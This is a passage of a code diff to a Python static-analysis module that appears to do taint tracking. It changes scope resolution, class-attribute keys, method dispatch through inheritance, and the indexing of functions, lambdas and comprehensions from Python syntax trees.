= field(default_factory=list) + attribute_loads: list[tuple[ast.Attribute, _Scope]] = field(default_factory=list) + attribute_reads: dict[tuple[int, str], int] = field(default_factory=dict) + binding_sets: dict[tuple[tuple[int, int], ...], _BindingSet] = field(default_factory=dict) + alias_roots: set[str] = field(default_factory=set) + _resolved: dict[tuple[int, str], int] = field(default_factory=dict) + _calls: dict[ast.Call, _CallInfo] = field(default_factory=dict) + _methods: dict[tuple[int, str, bool], list[_Group]] = field(default_factory=dict) + + @property + def module(self) -> _Scope: + return self.scopes[0] + + def new_scope(self, kind: str, name: str, parent: _Scope | None) -> _Scope: + scope_id = len(self.scopes) + if kind in ("function", "lambda"): + owner = scope_id + elif kind == "comprehension" and parent is not None: + owner = parent.owner + else: + owner = _NO_OWNER + scope = _Scope(kind, name, parent, scope_id, owner) + self.scopes.append(scope) + return scope + + # ── names ── + + def binding_scope(self, scope: _Scope, name: str) -> _Scope: + """The scope *name* is bound in when read or written in *scope*. Follows Python's rules: a name bound anywhere in a function body is - local to it unless declared ``global``/``nonlocal``; free names resolve - through enclosing function scopes (closures) to the module. Class - bodies are visible only to their own statements, not to methods. + local to it unless declared ``global``/``nonlocal``; free names + resolve through enclosing function scopes (closures) to the module. + Class bodies are visible only to their own statements, not to methods. """ - cache_key = (scope, name) + current: _Scope | None = scope + while current is not None and current.kind != "module": + if current is scope or current.kind != "class": + if name in current.declared_global: + break + if name in current.bound and name not in current.declared_nonlocal: + return current + current = current.parent + return self.module + + def binding_key(self, scope: _Scope, name: str) -> int: + """Key of *name* bound in *scope* itself.""" + if scope.kind == "class" and scope.class_info is not None: + logical = scope.class_info.logical + if logical is not None: + return self.keys.get((-1, logical.unit, name), _NO_OWNER, name) + return self.keys.get((scope.id, name), scope.owner, name) + + def resolve(self, scope: _Scope, name: str) -> int: + """Return the key *name* refers to when read or written in *scope*.""" + cache_key = (scope.id, name) key = self._resolved.get(cache_key) if key is None: - key = name - current: _Scope | None = scope - while current is not None and current.kind != "module": - if current is scope or current.kind != "class": - if name in current.declared_global: - break - if name in current.bound and name not in current.declared_nonlocal: - key = current.prefix + name - break - current = current.parent + key = self.binding_key(self.binding_scope(scope, name), name) self._resolved[cache_key] = key return key - def attribute(self, node: ast.Attribute, scope: _Scope) -> _Target | None: - """Map ``self.x`` / ``cls.x`` / ``Class.x`` to its class attribute key.""" + def is_module_import(self, scope: _Scope, name: str) -> bool: + """Whether *name* is an imported module/object or a builtin, not a local.""" + bound = self.binding_scope(scope, name) + if bound.kind != "module": + return False + return name in self.alias_roots or name not in bound.bound + + # ── classes and attributes ── + + def receiver_classes(self, scope: _Scope, name: str) -> list[_LogicalClass]: + """Classes whose attribute namespace ``name.x`` refers to. + + ``self``/``cls`` in a method, a class itself, or a variable assigned an + instance of an in-file class in its own scope (``cfg = Config()``). + """ + key = self.resolve(scope, name) + entry = self.self_keys.get(key) + if entry is not None: + return [entry[0]] + classes = self.classes_by_key.get(key) + if classes: + return classes + info = self.var_types.get(key) + return info.classes if info is not None else [] + + def attribute_store(self, node: ast.Attribute, scope: _Scope) -> list[int]: + """Keys written by ``self.x = ...`` / ``cls.x = ...`` / ``Class.x = ...``.""" if not isinstance(node.value, ast.Name): + return [] + display = (node.value.id, ".", node.attr) + return [ + self.keys.get((-1, cls.unit, node.attr), _NO_OWNER, display) + for cls in self.receiver_classes(scope, node.value.id) + ] + + def attribute_load(self, node: ast.Attribute, scope: _Scope) -> list[int]: + """Keys read by ``self.x`` / ``cls.x`` / ``Class.x``.""" + if not isinstance(node.value, ast.Name): + return [] + classes = self.receiver_classes(scope, node.value.id) + if not classes: + return [] + display = (node.value.id, ".", node.attr) + keys: list[int] = [] + for cls in classes: + if not cls.precise: + keys.append(self.keys.get((-1, cls.unit, node.attr), _NO_OWNER, display)) + continue + read_key = (cls.id, node.attr) + key = self.attribute_reads.get(read_key) + if key is None: + key = self.keys.get((-2, cls.id, node.attr), _NO_OWNER, display) + self.attribute_reads[read_key] = key + keys.append(key) + return keys + + def attribute_type(self, cls: _LogicalClass, attr: str) -> _TypeInfo: + """Union of what ``self.`` is assigned across the classes that see it.""" + result = _TypeInfo() + recorded = False + for other in cls.sharing if cls.precise else [cls]: + key = self.keys.ids.get((-1, other.unit, attr)) + info = self.var_types.get(key) if key is not None else None + if info is None: + continue + recorded = True + result.classes.extend(c for c in info.classes if c not in result.classes) + result.dynamic = result.dynamic or info.dynamic + result.unknown = result.unknown or info.unknown + if not recorded: + result.unknown = True + return result + + # ── call resolution ── + + def group(self, identity: tuple[object, ...], kind: str, label: str) -> _Group: + group = self.groups.get(identity) + if group is None: + group = _Group(len(self.groups), kind, label) + self.groups[identity] = group + return group + + def method_groups(self, cls: _LogicalClass, name: str, *, exact: bool) -> list[_Group]: + """Groups ``obj.`` may dispatch to when ``obj`` is a *cls* instance. + + *exact* means the receiver is exactly *cls* (``Cls()``, ``obj = Cls()``); + otherwise it may be any subclass (``self``, ``cls``), so overrides in + subclasses and in mixins combined with *cls* are included too. + """ + cache_key = (cls.id, name, exact) + cached = self._methods.get(cache_key) + if cached is not None: + return cached + result: list[_Group] = [] + if not cls.precise: + result.extend(self.unit_groups.get((cls.unit, name), ())) + else: + first = next((c for c in cls.mro if name in c.methods), None) + if first is not None: + result.extend(self.unit_groups.get((first.unit, name), ())) + if not exact: + for other in self.definers.get((cls.component, name), ()): + if ( + other is not first + and other.id in cls.sharing_ids + and other.id not in cls.ancestors + ): + result.extend(self.unit_groups.get((other.unit, name), ())) + self._methods[cache_key] = result + return result + + def super_groups(self, cls: _LogicalClass, name: str) -> list[_Group]: + """Groups ``super().`` may reach from a method of *cls*.""" + if not cls.precise: + return list(self.unit_groups.get((cls.unit, name), ())) + result: list[_Group] = [] + first = next((c for c in cls.mro[1:] if name in c.methods), None) + if first is not None: + result.extend(self.unit_groups.get((first.unit, name), ())) + for other in self.definers.get((cls.component, name), ()): + if ( + other is not first + and other.id in cls.sharing_ids + and other.id not in cls.ancestors + and other.id not in cls.descendants + ): + result.extend(self.unit_groups.get((other.unit, name), ())) + return result + + def super_class(self, call: ast.Call, scope: _Scope) -> _LogicalClass | None: + if call.args: + first = call.args[0] + if isinstance(first, ast.Name): + classes = self.classes_by_key.get(self.resolve(scope, first.id)) + return classes[0] if classes else None return None - key = self.resolve(scope, node.value.id) - cls = self.self_keys.get(key) - if cls is None: - classes = self.class_bindings.get(key) - cls = classes[0] if classes else None - if cls is None: + current: _Scope | None = scope + while current is not None and current.kind in ("comprehension", "lambda"): + current = current.parent + if current is None or current.kind != "function": return None - return _Target(cls.prefix + node.attr, f"{node.value.id}.{node.attr}") - - def callee_groups( - self, func: ast.expr, scope: _Scope, *, any_method: bool = False - ) -> list[str]: - """Callable groups in this module that ``func`` may refer to. - - A plain name resolves lexically to the functions bound to it (several - when redefined), or to the ``__init__`` methods of a class it names. - ``self.m``/``cls.m``/``Class.m``/``obj.m`` with ``obj = Class(...)`` - resolve to ``m`` in that class family. With *any_method*, any other - ``obj.m`` not rooted at an imported name resolves to every method named - ``m`` in the module. That fallback is used only to bind arguments, - which can taint nothing but parameters of this module's own methods; - reading return values through it would taint every ``x.get(...)`` in a - file that defines a ``get`` method. + parent = current.parent + if parent is None or parent.class_info is None: + return None + return parent.class_info.logical + + def value_type(self, value: ast.expr, scope: _Scope) -> object: + """Classes *value* is an instance of: a ``(classes, dynamic)`` pair, + ``_KNOWN_VALUE`` (literal, library object, function) or ``_UNKNOWN_VALUE``.""" + if isinstance(value, _LITERAL_VALUES) or isinstance(value, ast.Lambda): + return _KNOWN_VALUE + if not isinstance(value, ast.Call): + return _UNKNOWN_VALUE + func = value.func + if isinstance(func, ast.Name): + key = self.resolve(scope, func.id) + classes = self.classes_by_key.get(key) + if classes: + return classes, False + entry = self.self_keys.get(key) + if entry is not None and entry[1]: + return [entry[0]], True + if key in self.function_groups: + return _UNKNOWN_VALUE + return _KNOWN_VALUE if self.is_module_import(scope, func.id) else _UNKNOWN_VALUE + root = _root_name(func) + if root is not None and root in self.alias_roots and self.is_module_import(scope, root): + return _KNOWN_VALUE + return _UNKNOWN_VALUE + + def receiver(self, node: ast.expr, scope: _Scope) -> _Receiver: + """What ``node.m(...)`` may dispatch on.""" + none = _Receiver([], False, False, False) + if isinstance(node, ast.Name): + key = self.resolve(scope, node.id) + entry = self.self_keys.get(key) + if entry is not None: + return _Receiver([entry[0]], True, entry[1], False) + classes = self.classes_by_key.get(key) + if classes: + return _Receiver(classes, False, True, False) + info = self.var_types.get(key) + if info is None: + # Never bound in this file: a builtin or a star import. + unbound_local = not self.is_module_import(scope, node.id) + return _Receiver([], False, False, unbound_local) + if info.classes: + return _Receiver(info.classes, info.dynamic, False, False) + return _Receiver([], False, False, info.unknown) + if isinstance(node, _LITERAL_VALUES): + return none + if isinstance(node, ast.Call): + found = self.value_type(node, scope) + if isinstance(found, tuple): + classes, dynamic = found + return _Receiver(classes, dynamic, False, False) + return _Receiver([], False, False, found is _UNKNOWN_VALUE) + if isinstance(node, ast.Attribute) and isinstance(node.value, ast.Name): + classes = self.receiver_classes(scope, node.value.id) + if classes: + result = _TypeInfo() + for cls in classes: + info = self.attribute_type(cls, node.attr) + result.classes.extend(c for c in info.classes if c not in result.classes) + result.dynamic = result.dynamic or info.dynamic + result.unknown = result.unknown or info.unknown + if result.classes: + return _Receiver(result.classes, result.dynamic, False, False) + return _Receiver([], False, False, result.unknown) + root = _root_name(node) + if root is not None and root in self.alias_roots and self.is_module_import(scope, root): + return none + return _Receiver([], False, False, True) + + def resolve_callee( + self, func: ast.expr, scope: _Scope, *, fallback: bool + ) -> tuple[list[tuple[_Group, int]], list[_Group]]: + """Callees ``func(...)`` may run: ``(group, receiver offset)`` pairs to + bind arguments into, and the groups whose return value the call yields. + + A plain name resolves lexically to the functions bound to it, or to the + ``__init__`` of a class it names (``cls(...)`` in a classmethod too). + ``obj.m`` resolves through ``obj``'s class: ``self``/``cls``, a class, + an instance built in this scope or stored on ``self``, or + ``super()``. With *fallback*, a receiver of unknown type binds into + every method named ``m`` in the file, but its return value is not read. """ - groups: list[str] = [] + members: list[tuple[_Group, int]] = [] + results: list[_Group] = [] if isinstance(func, ast.Name): key = self.resolve(scope, func.id) - if f"{key}()" in self.groups: - groups.append(f"{key}()") - for cls in self.class_bindings.get(key, ()): - group = f"{cls.prefix}__init__()" - if group in self.groups and group not in groups: - groups.append(group) - return groups + for group in self.function_groups.get(key, ()): + members.append((group, 0)) + results.append(group) + constructed = list(self.classes_by_key.get(key, ())) + exact = True + entry = self.self_keys.get(key) + if entry is not None and entry[1]: + constructed.append(entry[0]) + exact = False + for cls in constructed: + for group in self.method_groups(cls, "__init__", exact=exact): + members.append((group, _receiver_offset(False, group.kind))) + return members, results if not isinstance(func, ast.Attribute): - return groups - if isinstance(func.value, ast.Name): - key = self.resolve(scope, func.value.id) - receivers = list(self.class_bindings.get(key, ())) - if key in self.self_keys: - receivers.append(self.self_keys[key]) - constructed = self.type_map.get(func.value.id) - if constructed is not None: - if constructed.split(".")[0] in self.aliases: - return groups # an instance of an imported (library) class - receivers.extend(self.classes_by_name.get(constructed, ())) - for cls in receivers: - group = f"{cls.prefix}{func.attr}()" - if group in self.groups and group not in groups: - groups.append(group) - if groups: - return groups - root = func.value - while isinstance(root, ast.Attribute): - root = root.value - if not any_method or (isinstance(root, ast.Name) and root.id in self.aliases): - return groups - if f".{func.attr}()" in self.groups: - groups.append(f".{func.attr}()") - return groups + return members, results + if _is_super_call(func.value): + assert isinstance(func.value, ast.Call) + cls = self.super_class(func.value, scope) + if cls is not None: + for group in self.super_groups(cls, func.attr): + members.append((group, _receiver_offset(False, group.kind))) + results.append(group) + return members, results + receiver = self.receiver(func.value, scope) + if receiver.classes: + for cls in receiver.classes: + for group in self.method_groups(cls, func.attr, exact=not receiver.dynamic): + members.append((group, _receiver_offset(receiver.class_object, group.kind))) + results.append(group) + elif receiver.fallback and fallback and not func.attr.startswith("__"): + # Dunder methods run through syntax (``Cls(...)``, ``super()``), + # not through explicit calls on unknown objects. + for group in self.fallback_groups.get(func.attr, ()): + members.append((group, _receiver_offset(False, group.kind))) + return members, results + + def binding_set(self, members: list[tuple[_Group, int]]) -> _BindingSet: + identity = tuple(dict.fromkeys((group.id, offset) for group, offset in members)) + bset = self.binding_sets.get(identity) + if bset is None: + by_id = {group.id: group for group, _ in members} + bset = _BindingSet( + len(self.binding_sets), + tuple((by_id[group_id], offset) for group_id, offset in identity), + ) + self.binding_sets[identity] = bset + return bset + + def call_info(self, call: ast.Call, scope: _Scope) -> _CallInfo: + info = self._calls.get(call) + if info is None: + members, results = self.resolve_callee(call.func, scope, fallback=True) + binding = self.binding_set(members) if members else None + value = None + if members: + name = _callee_name(call.func) or "" + value = self.keys.fresh(scope.owner, (name, "()"), ("call", call)) + info = _CallInfo(binding, tuple(dict.fromkeys(results)), value) + self._calls[call] = info + return info + + def is_value_call(self, node: ast.AST) -> bool: + if not isinstance(node, ast.Call): + return False + scope = self.call_scope.get(node) + return scope is not None and self.call_info(node, scope).value is not None + + # ── reads ── + + def flow_reads( + self, node: ast.AST, scope: _Scope, check_runtime: Callable[[], None] + ) -> Iterator[int]: + """Keys an expression's value depends on, for building flows. + + Names resolve through their scope; ``self.x`` resolves to the class + attribute; a call to a function defined in this file is read through + its value key and not re-walked, keeping nested calls linear. + """ + switch = self.scope_switch + queue: deque[tuple[ast.AST, _Scope]] = deque([(node, scope)]) + while queue: + check_runtime() + child, current = queue.popleft() + if isinstance(child, ast.Name): + yield self.resolve(current, child.id) + continue + if isinstance(child, ast.Call): + info = self.call_info(child, current) + if info.value is not None: + yield info.value + continue + elif isinstance(child, ast.Attribute): + yield from self.attribute_load(child, current) + for grandchild in ast.iter_child_nodes(child): + if not isinstance(grandchild, ast.expr_context): + queue.append((grandchild, switch.get(grandchild, current))) def references( self, node: ast.AST, scope: _Scope, - check_runtime: Callable[[], None] | None = None, + check_runtime: Callable[[], None], *, skip_root: bool = False, - ) -> Iterator[str]: - """Yield every taint key an expression reads, in ``ast.walk`` order. + ) -> Iterator[tuple[int, bool]]: + """Yield ``(key, plain_name)`` for every key an expression reads. - Names resolve through *scope*; ``self.x`` resolves to the class - attribute key; a call to a function defined in this module also reads - that function's return value. Handles container literals and f-strings - because ``ast.walk`` reaches the names nested inside them. + Walks in ``ast.walk`` order. ``plain_name`` marks keys read through a + variable name (or ``name[...]``), the only reads earlier releases saw; + ``self.x`` and calls to functions defined in this file are the rest. """ - for child in ast.walk(node): - if check_runtime is not None: - check_runtime() - if skip_root and child is node: - continue - if isinstance(child, ast.Name): - yield self.resolve(scope, child.id) - elif isinstance(child, ast.Attribute): - target = self.attribute(child, scope) - if target is not None: - yield target.key - elif isinstance(child, ast.Call): - for group in self.callee_groups(child.func, scope): - yield f"{group}" - - def assign_targets(self, target: ast.expr, scope: _Scope) -> list[_Target]: + switch = self.scope_switch + queue: deque[tuple[ast.AST, _Scope]] = deque([(node, scope)]) + while queue: + check_runtime() + child, current = queue.popleft() + if not (skip_root and child is node): + if isinstance(child, ast.Name): + yield self.resolve(current, child.id), True + elif isinstance(child, ast.Subscript) and isinstance(child.value, ast.Name): + yield self.resolve(current, child.value.id), True + elif isinstance(child, ast.Attribute): + for key in self.attribute_load(child, current): + yield key, False + elif isinstance(child, ast.Call): + info = self.call_info(child, current) + if info.value is not None: + yield info.value, False + for grandchild in ast.iter_child_nodes(child): + if not isinstance(grandchild, ast.expr_context): + queue.append((grandchild, switch.get(grandchild, current))) + + def assign_targets(self, target: ast.expr, scope: _Scope) -> list[int]: """Keys written by one assignment target (names, ``self.x``, tuples of them).""" elements = target.elts if isinstance(target, ast.Tuple) else [target] - targets: list[_Target] = [] + targets: list[int] = [] for element in elements: if isinstance(element, ast.Name): - targets.append(_Target(self.resolve(scope, element.id), element.id)) + targets.append(self.resolve(scope, element.id)) elif isinstance(element, ast.Attribute): - attribute = self.attribute(element, scope) - if attribute is not None: - targets.append(attribute) + targets.extend(self.attribute_store(element, scope)) return targets + # ── debugging / tests ── -def _parameters(args: ast.arguments) -> list[ast.arg]: - """Every parameter a function binds, in signature order.""" - params = [*args.posonlyargs, *args.args] - if args.vararg is not None: - params.append(args.vararg) - params.extend(args.kwonlyargs) - if args.kwarg is not None: - params.append(args.kwarg) - return params + def qualname(self, scope: _Scope) -> str: + parts: list[str] = [] + current: _Scope | None = scope + while current is not None and current.kind != "module": + parent = current.parent + if parent is not None and parent.kind in ("function", "lambda", "comprehension"): + parts.append(f".{current.name}") + else: + parts.append(current.name) + current = parent + return ".".join(reversed(parts)) + + def debug_name(self, key: int) -> str: + descriptor = self.keys.describe[key] + tag = descriptor[0] + if tag == "call": + call = descriptor[1] + assert isinstance(call, ast.Call) + return f"{self.keys.name(key)}@{call.lineno}:{call.col_offset}" + if isinstance(tag, int) and tag >= 0: + scope = self.scopes[tag] + name = str(descriptor[1]) + if scope.kind == "module": + return name + return f"{self.qualname(scope)}..{name}" + if tag in (-1, -2): + unit = descriptor[1] + assert isinstance(unit, int) + owner = self.logical[unit] if unit < len(self.logical) else None + label = self.qualname(owner.infos[0].scope) if owner is not None else f"<{unit}>" + prefix = "" if tag == -1 else "" + return f"{prefix}{label}.{descriptor[2]}" + if tag in (-3, -4, -5, -6): + return f"<{tag}>{descriptor[1:]}" + return repr(descriptor) def _build_scope_index( @@ -671,56 +1321,82 @@ def _build_scope_index( Visits nodes in ``ast.walk`` (breadth-first) order so statements are recorded in the same order the order-independent taint pass always used. """ - module = _Scope("module", "", None) - index = _ScopeIndex(module, aliases, type_map) - qualname_counts: dict[str, int] = {} - - def child_scope(kind: str, name: str, parent: _Scope) -> _Scope: - if parent.kind == "module": - qualname = name - elif parent.kind == "class": - qualname = f"{parent.qualname}.{name}" - else: - qualname = f"{parent.qualname}..{name}" - # Redefinitions get distinct namespaces; calls still reach all of them. - count = qualname_counts.get(qualname, 0) + 1 - qualname_counts[qualname] = count - return _Scope(kind, qualname if count == 1 else f"{qualname}#{count}", parent) - - # (node, scope it belongs to, whether a Store name binds in that scope) - queue: deque[tuple[ast.AST, _Scope, bool]] = deque( - (child, module, True) for child in ast.iter_child_nodes(tree) + tick = check_runtime or _noop + index = _ScopeIndex(aliases, type_map) + index.alias_roots = {name.split(".")[0] for name in aliases} + module = index.new_scope("module", "", None) + switch = index.scope_switch + # Walrus targets bind in the nearest enclosing non-comprehension scope. + walrus_scopes: dict[ast.Name, _Scope] = {} + # Values assigned to name / attribute targets, for receiver typing. + stored_values: dict[ast.AST, object] = {} + + queue: deque[tuple[ast.AST, _Scope]] = deque( + (child, module) for child in ast.iter_child_nodes(tree) ) while queue: - if check_runtime is not None: - check_runtime() - node, scope, binds = queue.popleft() + tick() + node, scope = queue.popleft() if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)): scope.bound.add(node.name) + index.name_stores.append((scope, node.name, _KNOWN_VALUE)) if isinstance(node, ast.ClassDef): - inner = child_scope("class", node.name, scope) - inner.class_info = _ClassInfo(node, inner.qualname) - index.classes.append((inner.class_info, scope)) + inner = index.new_scope("class", node.name, scope) + inner.class_info = _ClassInfo(node, inner, scope) + index.classes.append(inner.class_info) else: - inner = child_scope("function", node.name, scope) + inner = index.new_scope("function", node.name, scope) inner.function = _FunctionInfo(node, inner) index.functions.append(inner.function) - inner.bound.update(arg.arg for arg in _parameters(node.args)) + _bind_parameters(index, inner, node.args) # Only the body runs in the new scope; decorators, defaults, # annotations and bases are evaluated where the def/class stands. - body = {id(statement) for statement in node.body} - for child in ast.iter_child_nodes(node): - queue.append((child, inner if id(child) in body else scope, True)) - continue - if isinstance(node, ast.comprehension): - # Comprehension targets bind in the comprehension's own scope in - # Python 3; not binding them here keeps outer names visible. - queue.append((node.target, scope, False)) - queue.extend((child, scope, binds) for child in (node.iter, *node.ifs)) - continue - if isinstance(node, ast.Name): - if binds and isinstance(node.ctx, (ast.Store, ast.Del)): - scope.bound.add(node.id) + for statement in node.body: + switch[statement] = inner + elif isinstance(node, ast.Lambda): + inner = index.new_scope("lambda", "", scope) + inner.function = _FunctionInfo(node, inner) + index.functions.append(inner.function) + index.lambdas[node] = inner.function + _bind_parameters(index, inner, node.args) + switch[node.body] = inner + index.statements.append((node, inner)) + elif isinstance(node, _Comprehension): + # Python 3 comprehensions have their own scope; only the first + # iterable is evaluated in the enclosing one. + inner = index.new_scope("comprehension", f"<{type(node).__name__.lower()}>", scope) + if isinstance(node, ast.DictComp): + switch[node.key] = inner + switch[node.value] = inner + else: + switch[node.elt] = inner + for position, generator in enumerate(node.generators): + switch[generator.target] = inner + for condition in generator.ifs: + switch[condition] = inner + if position: + switch[generator.iter] = inner + index.statements.append((generator, inner)) + elif isinstance(node, ast.NamedExpr): + binding = scope + while binding.kind == "comprehension" and binding.parent is not None: + binding = binding.parent + walrus_scopes[node.target] = binding + stored_values[node.target] = node.value + elif isinstance(node, ast.Name): + if isinstance(node.ctx, (ast.Store, ast.Del)): + binding = walrus_scopes.pop(node, scope) + binding.bound.add(node.id) + if isinstance(node.ctx, ast.Store): + value = stored_values.pop(node, _UNKNOWN_VALUE) + index.name_stores.append((binding, node.id, value)) + elif isinstance(node, ast.Attribute): + if isinstance(node.value, ast.Name): + if isinstance(node.ctx, ast.Load): + index.attribute_loads.append((node, scope)) + elif isinstance(node.ctx, ast.Store): + value = stored_values.pop(node, _UNKNOWN_VALUE) + index.attribute_stores.append((scope, node, value)) elif isinstance(node, ast.Global): scope.declared_global.update(node.names) elif isinstance(node, ast.Nonlocal): @@ -728,291 +1404,789 @@ def child_scope(kind: str, name: str, parent: _Scope) -> _Scope: elif isinstance(node, (ast.Import, ast.ImportFrom)): for alias in node.names: if alias.name != "*": - scope.bound.add(alias.asname or alias.name.split(".")[0]) + local = alias.asname or alias.name.split(".")[0] + scope.bound.add(local) + index.name_stores.append((scope, local, _KNOWN_VALUE)) elif isinstance(node, ast.ExceptHandler) and node.name: scope.bound.add(node.name) - elif isinstance(node, (ast.Assign, ast.Return)): + index.name_stores.append((scope, node.name, _UNKNOWN_VALUE)) + elif isinstance(node, (ast.MatchAs, ast.MatchStar)) and node.name: + scope.bound.add(node.name) + index.name_stores.append((scope, node.name, _UNKNOWN_VALUE)) + elif isinstance(node, ast.MatchMapping) and node.rest: + scope.bound.add(node.rest) + index.name_stores.append((scope, node.rest, _UNKNOWN_VALUE)) + elif isinstance(node, ast.Assign): + index.statements.append((node, scope)) + for target in node.targets: + if isinstance(target, (ast.Name, ast.Attribute)): + stored_values[target] = node.value + if isinstance(target, ast.Name) and isinstance(node.value, ast.Lambda): + index.lambda_bindings.append((scope, target.id, node.value)) + elif isinstance(node, ast.AnnAssign): + if node.value is not None and isinstance(node.target, (ast.Name, ast.Attribute)): + stored_values[node.target] = node.value + elif isinstance(node, (ast.With, ast.AsyncWith)): + for item in node.items: + target = item.optional_vars + if isinstance(target, (ast.Name, ast.Attribute)): + stored_values[target] = item.context_expr + elif isinstance(node, ast.Return): index.statements.append((node, scope)) elif isinstance(node, ast.Call): index.call_scope[node] = scope index.statements.append((node, scope)) for child in ast.iter_child_nodes(node): if not isinstance(child, ast.expr_context): - queue.append((child, scope, binds)) + queue.append((child, switch.get(child, scope))) - _assign_class_families(index) - - for function in index.functions: - node = function.node - parent = function.scope.parent or module - if parent.class_info is not None: - static = any( - isinstance(decorator, ast.Name) and decorator.id == "staticmethod" - for decorator in node.decorator_list - ) - offset = 0 if static else 1 - function.groups.append((f"{parent.class_info.prefix}{node.name}()", offset)) - function.groups.append((f".{node.name}()", offset)) - positional = [*node.args.posonlyargs, *node.args.args] - if offset and positional: - index.self_keys[function.scope.prefix + positional[0].arg] = parent.class_info - else: - function.groups.append((f"{index.resolve(parent, node.name)}()", 0)) - index.groups.update(group for group, _ in function.groups) - for cls, parent in index.classes: - index.class_bindings.setdefault(index.resolve(parent, cls.node.name), []).append(cls) + _index_classes(index, tick) + _index_callables(index, tick) + _index_types(index, tick) return index -def _assign_class_families(index: _ScopeIndex) -> None: - """Give classes linked by in-module inheritance one attribute namespace. +def _bind_parameters(index: _ScopeIndex, scope: _Scope, args: ast.arguments) -> None: + """Parameters are local, and hold whatever callers pass (untyped).""" + for arg in _parameters(args): + scope.bound.add(arg.arg) + index.name_stores.append((scope, arg.arg, _UNKNOWN_VALUE)) - ``self.token`` set in a base class and read in a subclass (or the other way - round) must meet. Same-named classes are merged as well, so the work stays - linear: union-find over (class, first class with the base's name) pairs. - """ - parent: dict[_ClassInfo, _ClassInfo] = {} - order = {cls: position for position, (cls, _) in enumerate(index.classes)} - - def find(cls: _ClassInfo) -> _ClassInfo: - root = cls - while parent.get(root, root) is not root: - root = parent[root] - while cls is not root: - following = parent[cls] - parent[cls] = root - cls = following - return root - - def union(first: _ClassInfo, second: _ClassInfo) -> None: - first, second = find(first), find(second) - if first is not second: - # The earliest-defined class names the family, for stable keys. - if order[second] < order[first]: - first, second = second, first - parent[second] = first - - by_name = index.classes_by_name - for cls, _ in index.classes: - same_name = by_name.setdefault(cls.node.name, []) - same_name.append(cls) - union(same_name[0], cls) - for cls, _ in index.classes: - for base in cls.node.bases: - if isinstance(base, ast.Name) and base.id in by_name: - union(cls, by_name[base.id][0]) - for cls, _ in index.classes: - cls.prefix = f"{find(cls).qualname}." +def _index_classes(index: _ScopeIndex, tick: Callable[[], None]) -> None: + """Merge redefinitions, link in-file bases lexically, and size each hierarchy. -def _find_tainted_names_in_args( - node: ast.Call, - tainted: dict[str, _TaintedVar], - scopes: _ScopeIndex, - scope: _Scope, - check_runtime: Callable[[], None] | None = None, -) -> list[_TaintedVar]: - """Find tainted variables, attributes and helper results a call reads.""" - seen: set[str] = set() - hits: list[_TaintedVar] = [] - for key in scopes.references(node, scope, check_runtime, skip_root=True): - if key in seen: + Attributes are tracked per class in hierarchies of at most + ``_PRECISE_HIERARCHY_LIMIT`` classes and per hierarchy above that. + """ + by_binding: dict[tuple[int, str], _LogicalClass] = {} + for info in index.classes: + tick() + binding = index.binding_scope(info.parent, info.node.name) + identity = (binding.id, info.node.name) + cls = by_binding.get(identity) + if cls is None: + cls = _LogicalClass(len(index.logical), info.node.name) + index.logical.append(cls) + by_binding[identity] = cls + cls.infos.append(info) + info.logical = cls + for cls in index.logical: + linked = {cls.id} + for info in cls.infos: + for base in info.node.bases: + tick() + if not isinstance(base, ast.Name): + continue + binding = index.binding_scope(info.parent, base.id) + parent = by_binding.get((binding.id, base.id)) + if parent is not None and parent.id not in linked: + linked.add(parent.id) + cls.bases.append(parent) + parent.subclasses.append(cls) + + components: list[list[_LogicalClass]] = [] + for cls in index.logical: + tick() + if cls.component >= 0: continue - tv = tainted.get(key) - if tv: - seen.add(key) - hits.append(tv) - return hits + cls.component = len(components) + members = [cls] + stack = [cls] + while stack: + current = stack.pop() + for other in (*current.bases, *current.subclasses): + if other.component < 0: + other.component = cls.component + members.append(other) + stack.append(other) + components.append(members) + + for members in components: + precise = len(members) <= _PRECISE_HIERARCHY_LIMIT + merged_unit = len(index.logical) + members[0].component + for cls in members: + tick() + cls.precise = precise + cls.unit = cls.id if precise else merged_unit + if not precise: + continue + cls.ancestors = _closure(cls, lambda c: c.bases) + cls.descendants = _closure(cls, lambda c: c.subclasses) + cls.mro = _linearize(cls) + if not precise: + continue + by_id = {cls.id: cls for cls in members} + for cls in members: + tick() + sharing: set[int] = set() + for descendant in cls.descendants: + sharing |= by_id[descendant].ancestors + cls.sharing_ids = sharing + cls.sharing = [other for other in members if other.id in sharing] + + +def _closure(cls: _LogicalClass, edges: Callable[[_LogicalClass], list[_LogicalClass]]) -> set[int]: + seen = {cls.id} + stack = [cls] + while stack: + for other in edges(stack.pop()): + if other.id not in seen: + seen.add(other.id) + stack.append(other) + return seen + + +def _index_callables(index: _ScopeIndex, tick: Callable[[], None]) -> None: + """Group functions by the name calls reach them through.""" + for function in index.functions: + tick() + node = function.node + if isinstance(node, ast.Lambda): + continue + parent = function.scope.parent + assert parent is not None + if parent.kind == "class" and parent.class_info is not None: + cls = parent.class_info.logical + assert cls is not None + kind = _method_kind(node) + function.kind = kind + cls.methods.add(node.name) + group = index.group(("method", cls.unit, node.name, kind), kind, node.name) + if not group.functions: + index.unit_groups.setdefault((cls.unit, node.name), []).append(group) + group.add(function) + function.groups.append(group) + fallback = index.group(("any", node.name, kind), kind, node.name) + if not fallback.functions: + index.fallback_groups.setdefault(node.name, []).append(fallback) + fallback.add(function) + if any(_decorator_name(d) in _PROPERTY_DECORATORS for d in node.decorator_list): + cls.properties.add(node.name) + positional = [*node.args.posonlyargs, *node.args.args] + if kind != "static" and positional: + key = index.binding_key(function.scope, positional[0].arg) + index.self_keys[key] = (cls, kind == "class") + else: + key = index.resolve(parent, node.name) + _add_function_group(index, key, node.name, function) + for scope, name, lambda_node in index.lambda_bindings: + tick() + function = index.lambdas.get(lambda_node) + if function is not None: + _add_function_group(index, index.resolve(scope, name), name, function) + for cls in index.logical: + tick() + if cls.precise: + for name in cls.methods: + index.definers.setdefault((cls.component, name), []).append(cls) + # Redefinitions share one binding, so this runs once per class. + key = index.resolve(cls.infos[0].parent, cls.name) + index.classes_by_key.setdefault(key, []).append(cls) + + +def _add_function_group(index: _ScopeIndex, key: int, name: str, function: _FunctionInfo) -> None: + group = index.group(("function", key), "function", name) + if not group.functions: + index.function_groups.setdefault(key, []).append(group) + group.add(function) + function.groups.append(group) + + +def _index_types(index: _ScopeIndex, tick: Callable[[], None]) -> None: + """Record which in-file classes each variable and attribute may hold.""" + + def record(key: int, scope: _Scope, value: object) -> None: + info = index.var_types.get(key) + if info is None: + info = _TypeInfo() + index.var_types[key] = info + if value is _UNKNOWN_VALUE or value is _KNOWN_VALUE: + found = value + else: + assert isinstance(value, 